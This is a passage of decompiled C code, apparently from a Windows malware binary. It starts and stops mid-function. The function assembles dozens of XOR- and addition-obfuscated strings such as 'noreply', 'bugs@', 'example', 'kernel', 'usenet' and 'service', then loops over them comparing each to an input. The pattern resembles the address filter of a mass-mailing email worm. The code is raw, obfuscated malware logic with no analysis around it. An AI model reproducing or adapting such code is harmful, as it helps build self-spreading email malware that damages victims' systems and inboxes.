char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a617, char _a618, char _a619, char _a620, char _a621, char _a622, char _a623, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a657, char _a658, char _a659, char _a660, char _a661, char _a662, char _a663, char _a664, char _a668, char _a669, char _a670, char _a671, char _a672, char _a673, char _a674, char _a675, char _a676, char _a680, char _a681, char _a682, char _a683, char _a684, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a712, char _a713, char _a714, char _a715, char _a716, char _a717, char _a718, char _a719, char _a720, char _a721, char _a728, char _a729, char _a730, char _a731, char _a732, char _a733, char _a752, char _a753, char _a754, char _a755, char _a756, char _a757, char _a758, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a784, char _a785, char _a786, char _a787, char _a788, char _a789, char _a790, char _a791, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a844, char _a845, char _a846, char _a847, char _a848, char _a849, char _a850, char _a851, char _a852, char _a853, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t987;
				signed int _t988;
				intOrPtr _t993;
				intOrPtr _t994;
				void* _t995;
				void* _t996;
				void* _t997;
				void* _t998;
				intOrPtr _t1000;
				void* _t1001;
				intOrPtr _t1002;
				void* _t1003;
				void* _t1004;
				void* _t1006;
				void* _t1007;
				void* _t1008;
				intOrPtr _t1009;
				void* _t1010;
				void* _t1013;
				void* _t1014;
				void* _t1015;
				void* _t1019;
				void* _t1023;
				intOrPtr _t1025;
				intOrPtr _t1026;
				void* _t1027;
				void* _t1028;
				void* _t1029;
				intOrPtr _t1031;
				intOrPtr _t1037;
				void* _t1038;
				void* _t1039;
				intOrPtr _t1040;
				void* _t1041;
				void* _t1042;
				void* _t1043;
				void* _t1044;
				intOrPtr _t1046;
				void* _t1047;
				void* _t1052;
				intOrPtr _t1055;
				intOrPtr _t1056;
				void* _t1057;
				void* _t1058;
				intOrPtr _t1061;
				void* _t1065;
				char _t1066;
				intOrPtr _t1103;
				void* _t1142;
				intOrPtr _t1242;
				intOrPtr _t1244;
				signed int _t1245;
				intOrPtr _t1247;
				void* _t1249;
				void* _t1250;
				void* _t1251;
				void* _t1252;
				void* _t1253;
				void* _t1254;
				void* _t1256;
				void* _t1257;
				void* _t1258;
				void* _t1259;
				void* _t1260;

				_t987 = __eax;
				do {
					 *((char*)(_t1249 + _t987 + 0x228)) =  *((intOrPtr*)(_t1249 + _t987 + 0x228)) +  *((intOrPtr*)(_t1249 + _t987 + 0x17c));
					_t987 = _t987 + 1;
				} while (_t987 < 7);
				_a668 = 0x21;
				_a669 = 0xb0;
				_a670 = 0x48;
				_a671 = 0x45;
				_a672 = 0x79;
				_a673 = 0xc0;
				_a674 = 0xe0;
				_a675 = 0x7f;
				_a676 = 0x3d;
				_a380 = 0x48;
				_a381 = 0xd3;
				_a382 = 0x3a;
				_a383 = 0x2a;
				_a384 = 0xa;
				_a385 = 0xaf;
				_a386 = 0x86;
				_a387 = 0xb;
				_a388 = 0x3d;
				_t988 = 0;
				do {
					 *(_t1249 + _t988 + 0x29c) =  *(_t1249 + _t988 + 0x29c) ^  *(_t1249 + _t988 + 0x17c);
					_t988 = _t988 + 1;
				} while (_t988 < 9);
				_a680 = 0xfd;
				_a681 = 0xbf;
				_a682 = 0x39;
				_a683 = 0xaa;
				_a684 = 0xaa;
				_a380 = 0xaa;
				_a381 = 0xda;
				_a382 = 0x4a;
				_a383 = 0xde;
				_a384 = 0x96;
				_a68 = E004073E0( &_a380, 5,  &_a680);
				_a716 = 0xfd;
				_a717 = 0xfa;
				_a718 = 0xf2;
				_a719 = 0xc2;
				_a720 = 0x5c;
				_a721 = 0xa2;
				_a376 = 0xa2;
				_a377 = 0x24;
				_a378 = __ebx;
				_a379 = 0x9c;
				_a380 = 0x93;
				_a381 = 0x91;
				_t993 = E004073E0( &_a376, 6,  &_a716);
				_push(6);
				_push( &_a728);
				_a104 = _t993;
				_a728 = 0x90;
				_a729 = 0xec;
				_a730 = 0xd;
				_a731 = 3;
				_a732 = 3;
				_a733 = 0x7d;
				_a372 = 0x60;
				_a373 = 0xc;
				_a374 = 0x63;
				_a375 = 0;
				_a376 = 0x61;
				_a377 = 0xd;
				_t994 = E00407370( &_a372);
				_t1250 = _t1249 + 8;
				_a72 = _t994;
				_a448 = 0x27;
				_a449 = 0x70;
				_a450 = 0x19;
				_a451 = 0x4e;
				_a452 = 0xbb;
				_a372 = 0x49;
				_a373 = 0x15;
				_a374 = 0x6e;
				_a375 = 0x3d;
				_a376 = 0xbb;
				_t995 = 0;
				do {
					 *(_t1250 + _t995 + 0x1c8) =  *(_t1250 + _t995 + 0x1c8) ^  *(_t1250 + _t995 + 0x17c);
					_t995 = _t995 + 1;
				} while (_t995 < 5);
				_a520 = 6;
				_a521 = 0x34;
				_a522 = 0xa9;
				_a523 = 0x5f;
				_a524 = 3;
				_a525 = 0x7d;
				_a526 = 0x83;
				_a380 = 0x68;
				_a381 = 0x5b;
				_a382 = 0xcb;
				_a383 = 0x30;
				_a384 = 0x67;
				_a385 = 4;
				_a386 = 0x83;
				_t996 = 0;
				do {
					 *(_t1250 + _t996 + 0x208) =  *(_t1250 + _t996 + 0x208) ^  *(_t1250 + _t996 + 0x17c);
					_t996 = _t996 + 1;
				} while (_t996 < 7);
				_a488 = 0xea;
				_a489 = 0xeb;
				_a490 = 0xeb;
				_a491 = 0xea;
				_a492 = 0xe1;
				_a493 = 0x84;
				_t997 = 0;
				do {
					 *(_t1250 + _t997 + 0x1e8) =  *(_t1250 + _t997 + 0x1e8) ^ 0x00000084;
					_t997 = _t997 + 1;
				} while (_t997 < 6);
				_a592 = 0xad;
				_a593 = 0xac;
				_a594 = 0xb1;
				_a595 = 0xa6;
				_a596 = 0xb3;
				_a597 = 0xaf;
				_a598 = 0xba;
				_a599 = 0xc3;
				_t998 = 0;
				do {
					 *(_t1250 + _t998 + 0x250) =  *(_t1250 + _t998 + 0x250) ^ 0x000000c3;
					_t998 = _t998 + 1;
				} while (_t998 < 8);
				_push(8);
				_push( &_a784);
				_a784 = 0x63;
				_a785 = 0xe4;
				_a786 = 0x61;
				_a787 = 0x26;
				_a788 = 0xb9;
				_a789 = 0xf7;
				_a790 = 0xbd;
				_a791 = 0xf3;
				_a380 = 0x64;
				_a381 = 0x17;
				_a382 = 0x76;
				_a383 = 0x1b;
				_a384 = 0x6b;
				_a385 = 7;
				_a386 = 0x62;
				_a387 = 0x11;
				_t1000 = E00407370( &_a380);
				_t1251 = _t1250 + 8;
				_a120 = _t1000;
				_a416 = 0x35;
				_a417 = 0x6a;
				_a418 = 0x1d;
				_a419 = 0xe8;
				_a420 = 0x88;
				_a380 = 0x46;
				_a381 = 0x1a;
				_a382 = 0x7c;
				_a383 = 0x85;
				_a384 = 0x88;
				_t1001 = 0;
				do {
					 *(_t1251 + _t1001 + 0x1a0) =  *(_t1251 + _t1001 + 0x1a0) ^  *(_t1251 + _t1001 + 0x17c);
					_t1001 = _t1001 + 1;
				} while (_t1001 < 5);
				_push(7);
				_push( &_a752);
				_a752 = 0xab;
				_a753 = 0x67;
				_a754 = 0xda;
				_a755 = 0x4a;
				_a756 = 0xa1;
				_a757 = 0xf2;
				_a758 = 0x69;
				_a380 = 0x3c;
				_a381 = 0x49;
				_a382 = 0x39;
				_a383 = 0x5d;
				_a384 = 0x3c;
				_a385 = 0x48;
				_a386 = 0x2d;
				_t1002 = E00407370( &_a380);
				_t1252 = _t1251 + 8;
				_a88 = _t1002;
				_a400 = 0x17;
				_a401 = 4;
				_a402 = 0xdd;
				_a403 = 0xdb;
				_a404 = 0x3c;
				_a380 = 0x29;
				_a381 = 0x5d;
				_a382 = 0x99;
				_a383 = 0x95;
				_a384 = 0xc4;
				_t1003 = 0;
				do {
					 *((char*)(_t1252 + _t1003 + 0x190)) =  *((intOrPtr*)(_t1252 + _t1003 + 0x190)) +  *((intOrPtr*)(_t1252 + _t1003 + 0x17c));
					_t1003 = _t1003 + 1;
				} while (_t1003 < 5);
				_a432 = 4;
				_a433 = 0x87;
				_a434 = 0xf7;
				_a435 = 0xd4;
				_a436 = 0x19;
				_a380 = 0x44;
				_a381 = 0xe1;
				_a382 = 0x98;
				_a383 = 0xbb;
				_a384 = 0x19;
				_t1004 = 0;
				do {
					 *(_t1252 + _t1004 + 0x1b0) =  *(_t1252 + _t1004 + 0x1b0) ^  *(_t1252 + _t1004 + 0x17c);
					_t1004 = _t1004 + 1;
				} while (_t1004 < 5);
				_a617 = 0x53;
				_a621 = 0x53;
				_a616 = 0x29;
				_a618 = 0xf6;
				_a619 = 0x3e;
				_a620 = 0xc8;
				_a622 = 0x8b;
				_a623 = 0xa2;
				_a380 = 0x48;
				_a381 = 0x3d;
				_a382 = 0x8f;
				_a383 = 0x51;
				_a384 = 0xa6;
				_a385 = 0x36;
				_a386 = 0xcb;
				_a387 = 0xa2;
				_t1006 = 0;
				do {
					 *(_t1252 + _t1006 + 0x268) =  *(_t1252 + _t1006 + 0x268) ^  *(_t1252 + _t1006 + 0x17c);
					_t1006 = _t1006 + 1;
				} while (_t1006 < 8);
				_a24 = 0x88;
				_a25 = 0x99;
				_a26 = 0x8e;
				_a27 = 0xea;
				_t1007 = 0;
				do {
					 *(_t1252 + _t1007 + 0x18) =  *(_t1252 + _t1007 + 0x18) ^ 0x000000ea;
					_t1007 = _t1007 + 1;
				} while (_t1007 < 4);
				_a472 = 0xd;
				_a473 = 0x1a;
				_a474 = 8;
				_a475 = 0x1c;
				_a476 = 0x2f;
				_a477 = 0x6f;
				_t1008 = 0;
				do {
					 *(_t1252 + _t1008 + 0x1d8) =  *(_t1252 + _t1008 + 0x1d8) ^ 0x0000006f;
					_t1008 = _t1008 + 1;
				} while (_t1008 < 6);
				_push(6);
				_push( &_a712);
				_a712 = 0x49;
				_a713 = 0xc5;
				_a714 = 0x38;
				_a715 = 0xa9;
				_a716 = 0x2d;
				_a717 = 0xd6;
				_a380 = 0xde;
				_a381 = 0xbd;
				_a382 = 0xdc;
				_a383 = 0xba;
				_a384 = 0xdf;
				_a385 = 0xba;
				_t1009 = E00407370( &_a380);
				_t1253 = _t1252 + 8;
				_a128 = _t1009;
				_a656 = 0x47;
				_a657 = 0x33;
				_a658 = 0x6c;
				_a659 = 7;
				_a660 = 0x66;
				_a661 = 0x81;
				_a662 = 0xfd;
				_a663 = 0xe8;
				_a664 = 0x5b;
				_a380 = 0x24;
				_a381 = 0x56;
				_a382 = 0x1e;
				_a383 = 0x73;
				_a384 = 0xf;
				_a385 = 0xe7;
				_a386 = 0x94;
				_a387 = 0x8b;
				_a388 = 0x5b;
				_t1010 = 0;
				do {
					 *(_t1253 + _t1010 + 0x290) =  *(_t1253 + _t1010 + 0x290) ^  *(_t1253 + _t1010 + 0x17c);
					_t1010 = _t1010 + 1;
				} while (_t1010 < 9);
				_a844 = 0x25;
				_a845 = 0x4b;
				_a846 = 0xfd;
				_a847 = 0x36;
				_a848 = 0x86;
				_a849 = 0xac;
				_a850 = 0x3c;
				_a851 = 0;
				_a852 = 0xc3;
				_a853 = 0x49;
				_a380 = 0x49;
				_a381 = 0x83;
				_a382 = 0x74;
				_a383 = 0x5f;
				_a384 = 0xcd;
				_a385 = 0xf4;
				_a386 = 0x42;
				_a387 = 0x93;
				_a388 = 0x24;
				_a389 = 0x46;
				_a44 = E004073E0( &_a380, 0xa,  &_a844);
				_a476 = 0xda;
				_a477 = 0x71;
				_a478 = 0x65;
				_a479 = 0x2a;
				_a480 = 0xe4;
				_a481 = 0x15;
				_a376 = 0x8e;
				_a377 = 0xf4;
				_a378 = 7;
				_a379 = 0x46;
				_a380 = 0x5c;
				_a381 = 0xeb;
				_t1013 = 0;
				do {
					 *((char*)(_t1253 + _t1013 + 0x1e0)) =  *((intOrPtr*)(_t1253 + _t1013 + 0x1e0)) +  *((intOrPtr*)(_t1253 + _t1013 + 0x17c));
					_t1013 = _t1013 + 1;
				} while (_t1013 < 6);
				_a496 = 0xe4;
				_a497 = 0xb1;
				_a498 = 0xf5;
				_a499 = 0x81;
				_a500 = 0x8f;
				_a501 = 0x5f;
				_a380 = 0x85;
				_a381 = 0xbd;
				_a382 = 0x71;
				_a383 = 0xee;
				_a384 = 0xb1;
				_a385 = 0xa1;
				_t1014 = 0;
				do {
					 *((char*)(_t1253 + _t1014 + 0x1f0)) =  *((intOrPtr*)(_t1253 + _t1014 + 0x1f0)) +  *((intOrPtr*)(_t1253 + _t1014 + 0x17c));
					_t1014 = _t1014 + 1;
				} while (_t1014 < 6);
				_a512 = 0x31;
				_a513 = 0xec;
				_a514 = 0xde;
				_a515 = 0x4b;
				_a516 = 0xe6;
				_a517 = 0x37;
				_a380 = 0x3f;
				_a381 = 0x75;
				_a382 = 0x90;
				_a383 = 0x19;
				_a384 = 0x7b;
				_a385 = 0xc9;
				_t1015 = 0;
				do {
					 *((char*)(_t1253 + _t1015 + 0x200)) =  *((intOrPtr*)(_t1253 + _t1015 + 0x200)) +  *((intOrPtr*)(_t1253 + _t1015 + 0x17c));
					_t1015 = _t1015 + 1;
				} while (_t1015 < 6);
				_a35 = 0xf0;
				_a392 = 0xf0;
				_a32 = 0x35;
				_a33 = 0x9d;
				_a34 = 0xdc;
				_a393 = 0xac;
				_a394 = 0xfa;
				_a395 = 0x45;
				_a96 = E004073E0( &_a392, 4,  &_a32);
				_a564 = 0x28;
				_a565 = 0x3b;
				_a566 = 0x2e;
				_a567 = 0x33;
				_a568 = 0x34;
				_a569 = 0x3d;
				_a570 = 0x5a;
				_t1019 = 0;
				do {
					 *(_t1253 + _t1019 + 0x238) =  *(_t1253 + _t1019 + 0x238) ^ 0x0000005a;
					_t1019 = _t1019 + 1;
				} while (_t1019 < 7);
				_a704 = 0x7a;
				_a705 = 0xb8;
				_a706 = 0x1e;
				_a707 = 0x91;
				_a708 = 0xf2;
				_a380 = 0xf2;
				_a381 = 0xe4;
				_a382 = 0x7a;
				_a383 = 0xdd;
				_a384 = 0x54;
				_a112 = E004073E0( &_a380, 5,  &_a704);
				_a404 = 0x29;
				_a405 = 0x6e;
				_a406 = 0x9e;
				_a407 = 0x34;
				_a408 = 0xd0;
				_a376 = 7;
				_a377 = 9;
				_a378 = 0xf1;
				_a379 = 0x42;
				_a380 = 0xd0;
				_t1023 = 0;
				do {
					 *(_t1253 + _t1023 + 0x198) =  *(_t1253 + _t1023 + 0x198) ^  *(_t1253 + _t1023 + 0x17c);
					_t1023 = _t1023 + 1;
				} while (_t1023 < 5);
				_a380 = 0xd0;
				_push(5);
				_push( &_a688);
				_a688 = 0xdb;
				_a689 = 0x69;
				_a690 = 0x84;
				_a691 = 0x23;
				_a692 = 3;
				_a381 = 0xfe;
				_a382 = 0x93;
				_a383 = 0xfa;
				_a384 = 0x96;
				_t1025 = E00407370( &_a380);
				_push(9);
				_push( &_a808);
				_a108 = _t1025;
				_a808 = 0x12;
				_a809 = 0xa1;
				_a810 = 0x1d;
				_a811 = 0x83;
				_a812 = 0x74;
				_a813 = 0xe9;
				_a814 = 0x5b;
				_a815 = 0x5a;
				_a816 = 0x4b;
				_a380 = 0x93;
				_a381 = 0xf1;
				_a382 = 0x94;
				_a383 = 0xe6;
				_a384 = 0x8d;
				_a385 = 0xe8;
				_a386 = 0x84;
				_a387 = 0xe1;
				_a388 = 0x98;
				_t1026 = E00407370( &_a380);
				_t1254 = _t1253 + 0x10;
				_a124 = _t1026;
				_a624 = 0xbc;
				_a625 = 0xb0;
				_a626 = 0xb1;
				_a627 = 0xab;
				_a628 = 0xbe;
				_a629 = 0xbc;
				_a630 = 0xab;
				_a631 = 0xdf;
				_t1027 = 0;
				do {
					 *(_t1254 + _t1027 + 0x270) =  *(_t1254 + _t1027 + 0x270) ^ 0x000000df;
					_t1027 = _t1027 + 1;
				} while (_t1027 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t1028 = 0;
				do {
					 *(_t1254 + _t1028 + 0x260) =  *(_t1254 + _t1028 + 0x260) ^ 0x0000002e;
					_t1028 = _t1028 + 1;
				} while (_t1028 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t1029 = 0;
				do {
					 *((char*)(_t1254 + _t1029 + 0x1a8)) =  *((intOrPtr*)(_t1254 + _t1029 + 0x1a8)) +  *((intOrPtr*)(_t1254 + _t1029 + 0x17c));
					_t1029 = _t1029 + 1;
				} while (_t1029 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t1031 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t1031;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = 0xbc;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t1037 = E00407370( &_a376);
				_t1256 = _t1254 + 0x18;
				_a72 = _t1037;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t1038 = 0;
				do {
					 *(_t1256 + _t1038 + 0x258) =  *(_t1256 + _t1038 + 0x258) ^  *(_t1256 + _t1038 + 0x17c);
					_t1038 = _t1038 + 1;
				} while (_t1038 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t1039 = 0;
				do {
					 *(_t1256 + _t1039 + 0x248) =  *(_t1256 + _t1039 + 0x248) ^ 0x00000083;
					_t1039 = _t1039 + 1;
				} while (_t1039 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = 0xbc;
				_t1040 = E00407370( &_a380);
				_t1257 = _t1256 + 8;
				_a84 = _t1040;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t1041 = 0;
				do {
					 *(_t1257 + _t1041 + 0x278) =  *(_t1257 + _t1041 + 0x278) ^  *(_t1257 + _t1041 + 0x17c);
					_t1041 = _t1041 + 1;
				} while (_t1041 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t1042 = 0;
				do {
					 *(_t1257 + _t1042 + 0x288) =  *(_t1257 + _t1042 + 0x288) ^  *(_t1257 + _t1042 + 0x17c);
					_t1042 = _t1042 + 1;
				} while (_t1042 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t1043 = 0;
				do {
					 *((char*)(_t1257 + _t1043 + 0x210)) =  *((intOrPtr*)(_t1257 + _t1043 + 0x210)) +  *((intOrPtr*)(_t1257 + _t1043 + 0x17c));
					_t1043 = _t1043 + 1;
				} while (_t1043 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t1044 = 0;
				do {
					 *(_t1257 + _t1044 + 0x1f8) =  *(_t1257 + _t1044 + 0x1f8) ^  *(_t1257 + _t1044 + 0x17c);
					_t1044 = _t1044 + 1;
				} while (_t1044 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t1046 = E00407370( &_a380);
				_t1258 = _t1257 + 8;
				_a92 = _t1046;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t1047 = 0;
				do {
					 *(_t1258 + _t1047 + 0x280) =  *(_t1258 + _t1047 + 0x280) ^ 0x000000fc;
					_t1047 = _t1047 + 1;
				} while (_t1047 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t1103 = E00407370( &_a380);
				_t1259 = _t1258 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, 8,  &_a776);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t1052 = 0;
				do {
					 *(_t1259 + _t1052 + 0x218) =  *(_t1259 + _t1052 + 0x218) ^ 0x00000001;
					_t1052 = _t1052 + 1;
				} while (_t1052 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t1055 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t1244 = _t1055;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t1056 = E00407370( &_a388);
				_t1260 = _t1259 + 8;
				_t1247 = _t1056;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t1057 = 0;
				do {
					 *(_t1260 + _t1057 + 0x1b8) =  *(_t1260 + _t1057 + 0x1b8) ^ 0x000000d4;
					_t1057 = _t1057 + 1;
				} while (_t1057 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t1058 = 0;
				do {
					 *((char*)(_t1260 + _t1058 + 0x240)) =  *((intOrPtr*)(_t1260 + _t1058 + 0x240)) +  *((intOrPtr*)(_t1260 + _t1058 + 0x188));
					_t1058 = _t1058 + 1;
				} while (_t1058 < 7);
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t1061 = E004073E0( &_a392, 3,  &_a28);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t1142 = 0;
				do {
					 *((intOrPtr*)(_t1260 + _t1142 + 0x14)) =  *((intOrPtr*)(_t1260 + _t1142 + 0x14)) +  *((intOrPtr*)(_t1260 + _t1142 + 0x188));
					_t1142 = _t1142 + 1;
				} while (_t1142 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t1242 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t1244;
				_a344 = _t1103;
				_a360 = _t1247;
				_a368 =  &_a576;
				_a372 = _t1061;
				_a376 =  &_a20;
				_t1245 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t1065 = E00425320(_t1242,  *((intOrPtr*)(_t1260 + 0x84 + _t1245 * 4)));
					_t1260 = _t1260 + 8;
					if(_t1065 != 0) {
						break;
					}
					_t1245 = _t1245 + 1;
